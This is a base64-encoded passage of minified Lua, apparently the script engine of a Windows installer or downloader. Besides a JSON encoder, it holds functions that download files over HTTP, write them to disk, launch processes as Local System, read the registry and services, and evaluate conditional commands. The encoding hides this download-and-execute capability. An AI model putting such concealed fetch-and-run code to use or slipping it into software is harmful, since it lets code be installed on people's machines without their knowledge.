ZQppZiBzZWxmLmFzc2VydCB0aGVuCnNlbGYuYXNzZXJ0KGZhbHNlLGUpCmVsc2UKYXNzZXJ0KGZh
bHNlLGUpCmVuZApyZXR1cm4gbmlsLGUKZW5kCmVuZApsb2NhbCBmdW5jdGlvbiBhKGUpCmlmIGU9
PSJcbiJ0aGVuCnJldHVybiJcXG4iCmVsc2VpZiBlPT0iXHIidGhlbgpyZXR1cm4iXFxyIgplbHNl
aWYgZT09Ilx0InRoZW4KcmV0dXJuIlxcdCIKZWxzZWlmIGU9PSJcYiJ0aGVuCnJldHVybiJcXGIi
CmVsc2VpZiBlPT0iXGYidGhlbgpyZXR1cm4iXFxmIgplbHNlaWYgZT09JyIndGhlbgpyZXR1cm4n
XFwiJwplbHNlaWYgZT09J1xcJ3RoZW4KcmV0dXJuJ1xcXFwnCmVsc2UKcmV0dXJuIHN0cmluZy5m
b3JtYXQoIlxcdSUwNHgiLGU6Ynl0ZSgpKQplbmQKZW5kCmxvY2FsIGUKPSdbJwouLiciJwouLicl
XFwnCi4uJyV6JwouLidcMDAxJy4uJy0nLi4nXDAzMScKLi4nXScKbG9jYWwgZnVuY3Rpb24gZCh0
KQpsb2NhbCBlPXQ6Z3N1YihlLGEpCnJldHVybiciJy4uZS4uJyInCmVuZApsb2NhbCBmdW5jdGlv
biByKG4sYSxzKQpsb2NhbCBvPXt9CmxvY2FsIHQ9e30KbG9jYWwgaD1mYWxzZQpsb2NhbCBpCmZv
ciBlIGluIHBhaXJzKGEpZG8KaWYgdHlwZShlKT09J3N0cmluZyd0aGVuCnRhYmxlLmluc2VydChv
LGUpCmVsc2VpZiB0eXBlKGUpPT0nbnVtYmVyJ3RoZW4KdGFibGUuaW5zZXJ0KHQsZSkKaWYgZTw9
MCBvciBlPj1tYXRoLmh1Z2UgdGhlbgpoPXRydWUKZWxzZWlmIG5vdCBpIG9yIGU+aSB0aGVuCmk9
ZQplbmQKZWxzZQpuOm9uRW5jb2RlRXJyb3IoImNhbid0IGVuY29kZSB0YWJsZSB3aXRoIGEga2V5
IG9mIHR5cGUgIi4udHlwZShlKSxzKQplbmQKZW5kCmlmI289PTAgYW5kIG5vdCBoIHRoZW4KaWYj
dD4wIHRoZW4KcmV0dXJuIG5pbCxpCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gYXJyYXkidGhl
bgpyZXR1cm4gbmlsCmVsc2VpZiB0b3N0cmluZyhhKT09IkpTT04gb2JqZWN0InRoZW4KcmV0dXJu
e30KZWxzZQpyZXR1cm4gbmlsCmVuZAplbmQKdGFibGUuc29ydChvKQpsb2NhbCBlCmlmI3Q+MCB0
aGVuCmlmIEpTT04ubm9LZXlDb252ZXJzaW9uIHRoZW4KbjpvbkVuY29kZUVycm9yKCJhIHRhYmxl
IHdpdGggYm90aCBudW1lcmljIGFuZCBzdHJpbmcga2V5cyBjb3VsZCBiZSBhbiBvYmplY3Qgb3Ig
YXJyYXk7IGFib3J0aW5nIixzKQplbmQKZT17fQpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1h
CmVuZAp0YWJsZS5zb3J0KHQpCmZvciB0LGkgaW4gaXBhaXJzKHQpZG8KbG9jYWwgdD10b3N0cmlu
ZyhpKQppZiBlW3RdPT1uaWwgdGhlbgp0YWJsZS5pbnNlcnQobyx0KQplW3RdPWFbaV0KZWxzZQpu
Om9uRW5jb2RlRXJyb3IoImNvbmZsaWN0IGNvbnZlcnRpbmcgdGFibGUgd2l0aCBtaXhlZC10eXBl
IGtleXMgaW50byBhIEpTT04gb2JqZWN0OiBrZXkgIi4uaS4uIiBleGlzdHMgYm90aCBhcyBhIHN0
cmluZyBhbmQgYSBudW1iZXIuIixzKQplbmQKZW5kCmVuZApyZXR1cm4gbyxuaWwsZQplbmQKbG9j
YWwgYQpmdW5jdGlvbiBhKHQsZSxpLG8sbikKaWYgZT09bmlsIHRoZW4KcmV0dXJuJ251bGwnCmVs
c2VpZiB0eXBlKGUpPT0nc3RyaW5nJ3RoZW4KcmV0dXJuIGQoZSkKZWxzZWlmIHR5cGUoZSk9PSdu
dW1iZXIndGhlbgppZiBlfj1lIHRoZW4KcmV0dXJuIm51bGwiCmVsc2VpZiBlPj1tYXRoLmh1Z2Ug
dGhlbgpyZXR1cm4iMWUrOTk5OSIKZWxzZWlmIGU8PS1tYXRoLmh1Z2UgdGhlbgpyZXR1cm4iLTFl
Kzk5OTkiCmVsc2UKcmV0dXJuIHRvc3RyaW5nKGUpCmVuZAplbHNlaWYgdHlwZShlKT09J2Jvb2xl
YW4ndGhlbgpyZXR1cm4gdG9zdHJpbmcoZSkKZWxzZWlmIHR5cGUoZSl+PSd0YWJsZSd0aGVuCnQ6
b25FbmNvZGVFcnJvcigiY2FuJ3QgY29udmVydCAiLi50eXBlKGUpLi4iIHRvIEpTT04iLG8pCmVs
c2UKbG9jYWwgZT1lCmlmIGlbZV10aGVuCnQ6b25FbmNvZGVFcnJvcigidGFibGUgIi4udG9zdHJp
bmcoZSkuLiIgaXMgYSBjaGlsZCBvZiBpdHNlbGYiLG8pCmVsc2UKaVtlXT10cnVlCmVuZApsb2Nh
bCBzCmxvY2FsIGgscixkPXIodCxlLG8pCmlmIHIgdGhlbgpsb2NhbCBoPXt9CmZvciBzPTEsciBk
bwp0YWJsZS5pbnNlcnQoaCxhKHQsZVtzXSxpLG8sbikpCmVuZAppZiBuIHRoZW4Kcz0iWyAiLi50
YWJsZS5jb25jYXQoaCwiLCAiKS4uIiBdIgplbHNlCnM9IlsiLi50YWJsZS5jb25jYXQoaCwiLCIp
Li4iXSIKZW5kCmVsc2VpZiBoIHRoZW4KbG9jYWwgZD1kIG9yIGUKaWYgbiB0aGVuCmxvY2FsIHI9
e30KbG9jYWwgZT0wCmZvciBzLG4gaW4gaXBhaXJzKGgpZG8KbG9jYWwgdD1hKHQsdG9zdHJpbmco
biksaSxvLCIiKQplPW1hdGgubWF4KGUsI3QpCnRhYmxlLmluc2VydChyLHQpCmVuZApsb2NhbCB1
PW4uLiIgICAgIgpsb2NhbCBsPW4uLnN0cmluZy5yZXAoIiAiLGUrMis0KQpsb2NhbCBjPSIlcyUi
Li5zdHJpbmcuZm9ybWF0KCIlZCIsZSkuLiJzOiAlcyIKbG9jYWwgZT17fQpmb3IgaCxuIGluIGlw
YWlycyhoKWRvCmxvY2FsIHQ9YSh0LGRbbl0saSxvLGwpCnRhYmxlLmluc2VydChlLHN0cmluZy5m
b3JtYXQoYyx1LHJbaF0sdCkpCmVuZApzPSJ7XG4iLi50YWJsZS5jb25jYXQoZSwiLFxuIikuLiJc
biIuLm4uLiJ9IgplbHNlCmxvY2FsIHI9e30KZm9yIGgsZSBpbiBpcGFpcnMoaClkbwpsb2NhbCBz
PWEodCxkW2VdLGksbyxuKQpsb2NhbCBlPWEodCx0b3N0cmluZyhlKSxpLG8sbikKdGFibGUuaW5z
ZXJ0KHIsc3RyaW5nLmZvcm1hdCgiJXM6JXMiLGUscykpCmVuZApzPSJ7Ii4udGFibGUuY29uY2F0
KHIsIiwiKS4uIn0iCmVuZAplbHNlCnM9IltdIgplbmQKaVtlXT1mYWxzZQpyZXR1cm4gcwplbmQK
ZW5kCmZ1bmN0aW9uIHQ6ZW5jb2RlKG8sZSkKaWYgdHlwZShzZWxmKX49J3RhYmxlJ29yIHNlbGYu
X19pbmRleH49dCB0aGVuCnQ6b25FbmNvZGVFcnJvcigiSlNPTjplbmNvZGUgbXVzdCBiZSBjYWxs
ZWQgaW4gbWV0aG9kIGZvcm1hdCIsZSkKZW5kCnJldHVybiBhKHNlbGYsbyx7fSxlLG5pbCkKZW5k
CmZ1bmN0aW9uIHQ6ZW5jb2RlX3ByZXR0eShvLGUpCmlmIHR5cGUoc2VsZil+PSd0YWJsZSdvciBz
ZWxmLl9faW5kZXh+PXQgdGhlbgp0Om9uRW5jb2RlRXJyb3IoIkpTT046ZW5jb2RlX3ByZXR0eSBt
dXN0IGJlIGNhbGxlZCBpbiBtZXRob2QgZm9ybWF0IixlKQplbmQKcmV0dXJuIGEoc2VsZixvLHt9
LGUsIiIpCmVuZApmdW5jdGlvbiB0Ll9fdG9zdHJpbmcoKQpyZXR1cm4iSlNPTiBlbmNvZGUvZGVj
b2RlIHBhY2thZ2UiCmVuZAp0Ll9faW5kZXg9dApmdW5jdGlvbiB0Om5ldyhhKQpsb2NhbCBlPXt9
CmlmIGEgdGhlbgpmb3IgdCxhIGluIHBhaXJzKGEpZG8KZVt0XT1hCmVuZAplbmQKcmV0dXJuIHNl
dG1ldGF0YWJsZShlLHQpCmVuZApyZXR1cm4gdDpuZXcoKQplbmQpCnBhY2thZ2UucHJlbG9hZFsn
Y29tbW9uJ109KGZ1bmN0aW9uKC4uLikKbG9jYWwgcz1yZXF1aXJlKCJzb2NrZXQuaHR0cCIpOwps
b2NhbCByPXJlcXVpcmUoImx0bjEyIik7CmxvY2FsIHQ9e307CmxvY2FsIGQ9e19faW5kZXg9dH07
CmxvY2FsIGg9dHJ1ZTsKbG9jYWwgbj0iIjsKbG9jYWwgZT1vcy50aW1lKCk7CmxvY2FsIGU9Jyc7
CmxvY2FsIGU9Jyc7CmxvY2FsIGU9Jyc7CmxvY2FsIGk9e307CmZ1bmN0aW9uIHQuc2hhbGxvd2Nv
cHkodCkKbG9jYWwgYT10eXBlKHQpCmxvY2FsIGUKaWYgYT09J3RhYmxlJ3RoZW4KZT17fQpmb3Ig
dCxhIGluIHBhaXJzKHQpZG8KZVt0XT1hCmVuZAplbHNlCmU9dAplbmQKcmV0dXJuIGUKZW5kCmZ1
bmN0aW9uIHQuc2V0cmVzdWx0cyhlKQppPXQuc2hhbGxvd2NvcHkoZSk7CmVuZApwcm9ncmVzc19m
aWx0ZXI9ZnVuY3Rpb24oZSkKbG9jYWwgdD0wOwpyZXR1cm4gZnVuY3Rpb24oZSkKaWYgZT09bmls
IHRoZW4gcmV0dXJuIG5pbCBlbmQKaWYgZT09IiJ0aGVuIHJldHVybiIiZW5kCnQ9dCsjZTsKcmV0
dXJuIGU7CmVuZAplbmQKZnVuY3Rpb24gdC51cmxlbmNvZGUoZSkKaWYoZSl0aGVuCmU9c3RyaW5n
LmdzdWIoZSwiXG4iLCJcclxuIikKZT1zdHJpbmcuZ3N1YihlLCIoW14ldyAlLSVfJS4lfl0pIiwK
ZnVuY3Rpb24oZSlyZXR1cm4gc3RyaW5nLmZvcm1hdCgiJSUlMDJYIixzdHJpbmcuYnl0ZShlKSll
bmQpCmU9c3RyaW5nLmdzdWIoZSwiICIsIisiKQplbmQKcmV0dXJuIGUKZW5kCmZ1bmN0aW9uIGdl
dGh0dHBzaXplKGUpCmxvY2FsIGEsdCxlPXMucmVxdWVzdHttZXRob2Q9IkhFQUQiLHVybD1lfQpp
ZiB0PT0yMDAgdGhlbgpyZXR1cm4gdG9udW1iZXIoZVsiY29udGVudC1sZW5ndGgiXSk7CmVuZApl
bmQKZnVuY3Rpb24gdC5nZXRieWh0dHAobyx0KQpsb2NhbCBlPWZhbHNlOwpsb2NhbCBpPSIiOwpp
ZiB0IHRoZW4KbG9jYWwgYT10IGFuZCBpby5vcGVuKHQsIndiIilvciBvcy50bXBuYW1lKCk7Cmxv
Y2FsIGE9ci5zaW5rLmZpbGUoYSBvciBpby5zdGRvdXQpOwppZiB0IHRoZW4KYT1yLnNpbmsuY2hh
aW4ocHJvZ3Jlc3NfZmlsdGVyKGdldGh0dHBzaXplKG8pKSxhKTsKZT10cnVlOwplbmQKbG9jYWwg
dD0KewpbIkV4cGlyZXMiXT0iVGh1LCAxOSBOb3YgMTk4MSAwODo1MjowMCBHTVQiLApbIkNhY2hl
LUNvbnRyb2wiXT0ibm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hl
Y2s9MCwgcHJlLWNoZWNrPTAiCn07CmxvY2FsIGEsdCxhLGE9cy5yZXF1ZXN0CnsKdXJsPW8sCmhl
YWRlcnM9dCwKc2luaz1hCn07CmlmIHR+PTIwMCB0aGVuCmU9ZmFsc2U7CmVuZAplbHNlCmU9dHJ1
ZTsKaT1zLnJlcXVlc3Qobyk7CmVuZApyZXR1cm4gZSxpOwplbmQKZnVuY3Rpb24gdC5zcGxpdChh
LGUsdCkKaWYgc3RyaW5nLmZpbmQoYSxlKT09bmlsIHRoZW4KcmV0dXJue2F9CmVuZAppZiB0PT1u
aWwgb3IgdDwxIHRoZW4KdD0wCmVuZApsb2NhbCBvPXt9CmxvY2FsIG49IiguLSkiLi5lLi4iKCki
CmxvY2FsIGU9MApsb2NhbCBpCmZvciBuLGEgaW4gc3RyaW5nLmdmaW5kKGEsbilkbwplPWUrMQpv
W2VdPW4KaT1hCmlmIGU9PXQgdGhlbiBicmVhayBlbmQKZW5kCmlmIGV+PXQgdGhlbgpvW2UrMV09
c3RyaW5nLnN1YihhLGkpCmVuZApyZXR1cm4gbwplbmQKZnVuY3Rpb24gdC5leGVjdXRlKGEsbyxl
KQppZiBvfj1uaWwgdGhlbgppZiBlPT1uaWwgdGhlbgplPWZhbHNlOwplbmQKaWYgQ3JlYXRlUHJv
Y2Vzc0FzVXNlcihhLGUpdGhlbgplbmQKZWxzZQp0LmRlYnVnKCJFeGVjdXRpbmcgYXMgTG9jYWwg
U3lzdGVtIik7CmlmIENyZWF0ZVByb2Nlc3MobmlsLGEsbmlsLG5pbCwwLHczMlsiQ1JFQVRFX05F
V19DT05TT0xFIl0sbmlsLG5pbCl0aGVuCmVsc2UKZW5kCmVuZAppZiBHZXRMYXN0RXJyb3IoKT4w
IHRoZW4KdC5kZWJ1ZygiRXhlY3V0ZSBVbnN1Y2Nlc3NmdWwiKTsKdC5kZWJ1ZygiTEFTVCBFUlJP
UjogIi4uR2V0TGFzdEVycm9yKCkpOwplbHNlCnQuZGVidWcoIkV4ZWN1dGUgc3VjY2Vzc2Z1bCIp
OwplbmQKcmV0dXJuIHRydWU7CmVuZApmdW5jdGlvbiB0LmZpbGVwYXJ0cyhlKQpyZXR1cm4gc3Ry
aW5nLm1hdGNoKGUsIiguLSkoW15cXF0tKFteJS5dKykpJCIpOwplbmQKZnVuY3Rpb24gdC5yZWFk
ZmlsZShvKQpsb2NhbCBhOwppZiBDcmVhdGVGaWxlfj1uaWwgdGhlbgpsb2NhbCBlPUNyZWF0ZUZp
bGUobyx3MzJbIkdFTkVSSUNfUkVBRCJdLHczMlsiRklMRV9TSEFSRV9SRUFEIl0sbmlsLHczMlsi
T1BFTl9FWElTVElORyJdLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09
LTEgb3IgZT09dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5m
b3JtYXQoIlJlYWRmaWxlOiAlcyBFcnJvcjogJXMgKCVzKSIsbyxHZXRMYXN0RXJyb3IoKSxlKSk7
CmVsc2UKbG9jYWwgdD1HZXRGaWxlU2l6ZUV4KGUpOwppZiB0PjAgdGhlbgpoLGE9UmVhZEZpbGUo
ZSx0KTsKZW5kCmVuZAppZiBlIHRoZW4gQ2xvc2VIYW5kbGUoZSk7ZW5kCmVsc2UKbG9jYWwgZT1p
by5vcGVuKG8sInJiIik7CmlmIGUgdGhlbgphPWU6cmVhZCgiKmEiKQplOmNsb3NlKCkKZW5kCmVu
ZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQud3JpdGVmaWxlKG8saSxlKQpsb2NhbCBhPTA7Cmlm
IENyZWF0ZUZpbGUgdGhlbgpsb2NhbCBlPWUgb3IgdzMyWyJDUkVBVEVfTkVXIl07CmxvY2FsIGU9
Q3JlYXRlRmlsZShvLHczMlsiR0VORVJJQ19XUklURSJdLHczMlsiRklMRV9TSEFSRV9XUklURSJd
LG5pbCxlLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09LTEgb3IgZT09
dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldy
aXRlZmlsZTogJXMgRXJyb3I6ICVzICglcykiLG8sR2V0TGFzdEVycm9yKCksZSkpOwplbHNlCmgs
YT1Xcml0ZUZpbGUoZSxpKTsKZW5kCmlmIGUgdGhlbiBDbG9zZUhhbmRsZShlKTtlbmQKZWxzZQps
b2NhbCBlPWlvLm9wZW4obywid2IiKQppZiBlIHRoZW4KZTp3cml0ZShpKQplOmNsb3NlKCkKYT0j
aTsKZW5kCmVuZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQucmFuZG9tKGUpCm1hdGgucmFuZG9t
c2VlZChvcy50aW1lKCkpOwpsb2NhbCB0PShlKWFuZCBlIG9yIDEKbG9jYWwgZT0iIjsKZm9yIHQ9
MSx0IGRvCmU9ZS4uc3RyaW5nLmNoYXIobWF0aC5yYW5kb20oOTcsMTIyKSk7CmVuZApyZXR1cm4g
ZTsKZW5kCmZ1bmN0aW9uIHQuZGVidWcoZSkKaWYgT3V0cHV0RGVidWdTdHJpbmcgdGhlbgpsb2Nh
bCB0PShDaGVja0FyZylhbmQgQ2hlY2tBcmcoIm9wdGlvbnMiKW9yIiI7CmlmIHQ6c3ViKDEsMSk9
PSIxInRoZW4KT3V0cHV0RGVidWdTdHJpbmcoc3RyaW5nLmZvcm1hdCgibHVhIGRiZzogJXNcbiIs
dG9zdHJpbmcoZSkpKTsKZW5kCmVsc2UKcHJpbnQoZSk7CmVuZAplbmQKZnVuY3Rpb24gdC50ZW1w
cGF0aCgpCmlmIEdldFRlbXBQYXRofj1uaWwgdGhlbgprLHY9R2V0VGVtcFBhdGgoKTsKcmV0dXJu
IHY7CmVuZApyZXR1cm4iIjsKZW5kCmZ1bmN0aW9uIHQucXVlcnlzZXJ2aWNlKGksYSkKbG9jYWwg
bz1PcGVuU0NNYW5hZ2VyKCk7CmxvY2FsIGU7CmlmIGE9PW5pbCB0aGVuIGE9NDtlbmQKaWYgbz4w
IHRoZW4KbG9jYWwgbz1PcGVuU2VydmljZShvLGkpOwppZiBvPjAgdGhlbgpsb2NhbCBkLGgscyxp
LG4scj1RdWVyeVNlcnZpY2VDb25maWcobyk7CmlmIG5vdCBkIHRoZW4KZT17aCxzLGksbixyfTsK
dC5kZWJ1ZygiUXVlcnlTZXJ2aWNlOiAiLi5lW2FdKTsKZW5kCkNsb3NlU2VydmljZUhhbmRsZShv
KTsKZW5kCmVuZAppZiB0eXBlKGUpPT0idGFibGUidGhlbgppZiBlW2FddGhlbgpyZXR1cm4gZVth
XTsKZW5kCmVuZApyZXR1cm4gbmlsOwplbmQKZnVuY3Rpb24gdC5jdXN0b21zKGEpCmxvY2FsIHM9
dHJ1ZTsKUFJPR1JBTV9GSUxFUz0oUmVnUXVlcnlWYWx1ZUV4KWFuZCBSZWdRdWVyeVZhbHVlRXgo
dzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSwiU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xc
Q3VycmVudFZlcnNpb24iLCJQcm9ncmFtRmlsZXNEaXIiKW9yIiI7CnNUbXBQYXRoPXQudGVtcHBh
dGgoKTsKbG9jYWwgZT1zdHJpbmcuZ3N1YihhLCJcXCIsIlxcXFwiKTsKbG9jYWwgbz0wOwp3aGls
ZSBzPT10cnVlIGFuZCBvPDUwIGRvCm89bysxOwppZiBzdHJpbmcuZmluZChhLCIkUFJPR1JBTUZJ
TEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9HUkFNRklMRVMiLCIlJXMiKTsKZT1zdHJp
bmcuZm9ybWF0KGUsUFJPR1JBTV9GSUxFUzpnc3ViKCJcXCIsIlxcXFwiKSk7CmVsc2VpZiBzdHJp
bmcuZmluZChhLCIkVEVNUEZJTEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRURU1QRklMRVMi
LCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsc1RtcFBhdGg6Z3N1YigiXFwiLCJcXFxcIikpOwpl
PWU6Z3N1YigiXFxcXFxcIiwiXFwiKTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRTSUQiKXRoZW4K
bG9jYWwgdD1HZXRDdXJyZW50VXNlclNpZCgpOwplPXN0cmluZy5nc3ViKGUsIiUkU0lEIiwiJSVz
Iik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFRJTUVMQVNU
Iil0aGVuCmlmIEdldFRpbWVMYXN0fj1uaWwgdGhlbgpsb2NhbCB0PUdldFRpbWVMYXN0KCk7CmU9
c3RyaW5nLmdzdWIoZSwiJSRUSU1FTEFTVCIsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSx0KTsK
ZW5kCmVsc2VpZiBzdHJpbmcuZmluZChhLCIkQ01EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNo
KGEsIkNNRCglZCspIik7CmlmIGF+PW5pbCB0aGVuCmxvY2FsIG49IiI7CmlmIHN0cmluZy5maW5k
KGEsIjoiKXRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIjoiKTsKaWYgYVsxXX49bmlsIHRoZW4KbG9j
YWwgZT10LnNwbGl0KGlbYVsxXV0sIiAiKTsKbG9jYWwgbyxpPXN0cmluZy5maW5kKGFbMl0sIisi
KTsKaWYgbyB0aGVuCmFbMl09c3RyaW5nLmdzdWIoYVsyXSwiKyIsIiIpOwppZiB0eXBlKGUpPT0i
dGFibGUidGhlbgpmb3Igbz10YWJsZS5nZXRuKGUpLDEsLTEgZG8KaWYgbzx0b251bWJlcihhWzJd
KXRoZW4KdGFibGUucmVtb3ZlKGUsbyk7CmVsc2UKaWYgc3RyaW5nLmZpbmQoZVtvXSwiPSIpdGhl
bgpsb2NhbCB0PXQuc3BsaXQoZVtvXSwiPSIpOwplW29dPXN0cmluZy5mb3JtYXQoJyVzPSIlcyIn
LHRbMV0sdFsyXSk7CmVuZAplbmQKZW5kCm49dGFibGUuY29uY2F0KGUsIiAiKTsKZW5kCmVsc2UK
bj1lW3RvbnVtYmVyKGFbMl0pXTsKZW5kCmVuZAplbHNlCm49KGlbdG9udW1iZXIoYSldKWFuZCBp
W3RvbnVtYmVyKGEpXW9yIGlbYV07CmVuZAphPXN0cmluZy5nc3ViKGEsIisiLCIlJSsiKTsKZT1z
dHJpbmcuZ3N1YihlLCIlJENNRCIuLmEsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSxuKTsKZW5k
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkU09VUkNFR1VJRCIpdGhlbgpsb2NhbCB0PUNoZWNrQXJn
KCJzb3VyY2UiKTsKZT1zdHJpbmcuZ3N1YihlLCIlJFNPVVJDRUdVSUQiLHQpOwplbHNlaWYgc3Ry
aW5nLmZpbmQoYSwiJFVTRVJHVUlEIil0aGVuCmxvY2FsIHQ9R2V0VXNlckd1aWQoKTsKc1VzZXJH
dWlkPXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDksMTIp
LHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKc1VzZXJHdWlkPXN0cmluZy51
cHBlcihzVXNlckd1aWQpOwplPXN0cmluZy5nc3ViKGUsIiUkVVNFUkdVSUQiLHNVc2VyR3VpZCk7
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkVkVSU0lPTiIpdGhlbgppZiBHZXRWZXJzaW9ufj1uaWwg
dGhlbgpsb2NhbCB0PXRvc3RyaW5nKEdldFZlcnNpb24oKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRW
RVJTSU9OIiwiJSVzIik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbmQKZWxzZWlmIHN0cmluZy5m
aW5kKGEsIiRPUFRJT05TIil0aGVuCmxvY2FsIG89KENoZWNrQXJnKWFuZCBDaGVja0FyZygib3B0
aW9ucyIpb3IiIjsKbG9jYWwgYT1zdHJpbmcubWF0Y2goYSwiT1BUSU9OUyglZCspIik7CmlmIGF+
PW5pbCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRWxlbWVudDogJXMiLGEpKTsKZT1zdHJp
bmcuZ3N1YihlLCIlJE9QVElPTlMiLi5hLCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsbzpzdWIo
YSxhKSk7CmVsc2UKZT1zdHJpbmcuZ3N1YihlLCIlJE9QVElPTlMiLCIlJXMiKTsKZT1zdHJpbmcu
Zm9ybWF0KGUsbyk7CmVuZAplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFBST0RVQ1QiKXRoZW4KbG9j
YWwgdD0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJvcHRpb25zIilvciIiOwpsb2NhbCB0PXN0cmlu
Zy5mb3JtYXQoIiVzIix0OnN1Yig4LDEwKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9EVUNUIix0
KTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRJczY0Qml0Iil0aGVuCmxvY2FsIGE9KElzNjRCaXQo
KT09dHJ1ZSlhbmQiNjQib3IiMzIiOwp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIklzNjRCaXQ6ICVz
IixhKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRJczY0Qml0IixhKTsKdC5kZWJ1ZyhlKTsKZWxzZWlm
IHN0cmluZy5maW5kKGEsIiRSQU5EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNoKGEsIlJBTkQo
LispIik7Cm1hdGgucmFuZG9tc2VlZChvcy50aW1lKCkpOwplPXRvc3RyaW5nKG1hdGgucmFuZG9t
KDEsMTAwKSk7CmlmIGF+PW5pbCB0aGVuCmlmIHN0cmluZy5maW5kKGEsIiwiKXRoZW4KbG9jYWwg
dD10LnNwbGl0KGEsIiwiKTsKaWYgdFsxXX49bmlsIHRoZW4KaWYgdG9udW1iZXIodFsxXSk+dG9u
dW1iZXIodFsyXSl0aGVuCnRbMV09MQplbmQKZT10b3N0cmluZyhtYXRoLnJhbmRvbSh0b251bWJl
cih0WzFdKSx0b251bWJlcih0WzJdKSkpOwplbmQKZW5kCmVuZAp0LmRlYnVnKHN0cmluZy5mb3Jt
YXQoIlJhbmRvbTogJXMiLGUpKTsKZWxzZQpzPWZhbHNlOwplbmQKYT1lOwplbmQKZT0odHJpbSlh
bmQgdHJpbShlKW9yIHQudHJpbShlKTsKcmV0dXJuIGU7CmVuZApmdW5jdGlvbiB0LmNvbW1hbmQo
ZSkKbG9jYWwgbz1mYWxzZTsKaWYgZVsidHh0Y21kIl09PSJJZiJ0aGVuCmxvY2FsIGE9dC5jdXN0
b21zKGVbInR4dFdoYXQiXSk7CmlmIGVbInR4dGRvIl09PSJGaWxlInRoZW4KZHdSZXN1bHQsdEZp
bGVJbmZvPUZpbmRGaXJzdEZpbGUoYSk7CmlmIGR3UmVzdWx0fj0wIHRoZW4KZVsicmVzdWx0Il09
KGVbInR4dFdoYXRJZiJdPT0iRXhpc3RzIilhbmQiMSJvciIwIjsKZWxzZQplWyJyZXN1bHQiXT0o
ZVsidHh0V2hhdElmIl09PSJOb3QgRXhpc3RzIilhbmQiMSJvciIwIjsKZW5kCmlmIGR3UmVzdWx0
PjAgdGhlbgpGaW5kQ2xvc2UoZHdSZXN1bHQpOwplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdp
c3RyeSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnk6ICVzIixhKSk7CmxvY2Fs
IG89dC5zcGxpdChhLCIsIik7CmlmIHczMltvWzFdXX49bmlsIHRoZW4KaWYgb1szXX49bmlsIHRo
ZW4KbG9jYWwgYT1SZWdRdWVyeVZhbHVlRXgodzMyW29bMV1dLG9bMl0sb1szXSk7CmE9KGF+PW5p
bClhbmQgdC5jdXN0b21zKGEpb3IgbmlsOwppZiBlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyJhbmQg
b1s1XX49bmlsIGFuZCBhfj1uaWwgdGhlbgppZiBhPT1vWzVddGhlbgplWyJyZXN1bHQiXT0iMSI7
CmVuZAplbHNlaWYgZVsidHh0V2hhdElmIl09PSJFeGlzdHMiYW5kIGF+PW5pbCB0aGVuCmVbInJl
c3VsdCJdPSIxIjsKZWxzZWlmIGVbInR4dFdoYXRJZiJdPT0iTm90IEV4aXN0cyJhbmQgYT09bmls
IHRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZW5kCmVsc2UKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0
KCJSZWdpc3RyeSBFcnJvciAlcyAlcyIsZVsidHh0V2hhdElmIl0sYSkpOwplbmQKZWxzZWlmIGVb
InR4dGRvIl09PSJDb21tYW5kInRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIiwiKTsKaWYgYVsyXX49
bmlsIHRoZW4KbG9jYWwgbz0oaVt0b251bWJlcihhWzFdKV0pYW5kIGlbdG9udW1iZXIoYVsxXSld
b3IgaVthWzFdXTsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJDb21tYW5kICMlczogJXMgJXMgJXMi
LGFbMV0sbyxlWyJ0eHRXaGF0SWYiXSxhWzJdKSk7CmlmIGVbInR4dFdoYXRJZiJdPT0iQ29udGFp
bnMidGhlbgppZiBzdHJpbmcuZmluZChzdHJpbmcudXBwZXIobyksc3RyaW5nLnVwcGVyKGFbMl0p
KXRoZW4KZVsicmVzdWx0Il09IjEiOwplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2UKaWYg
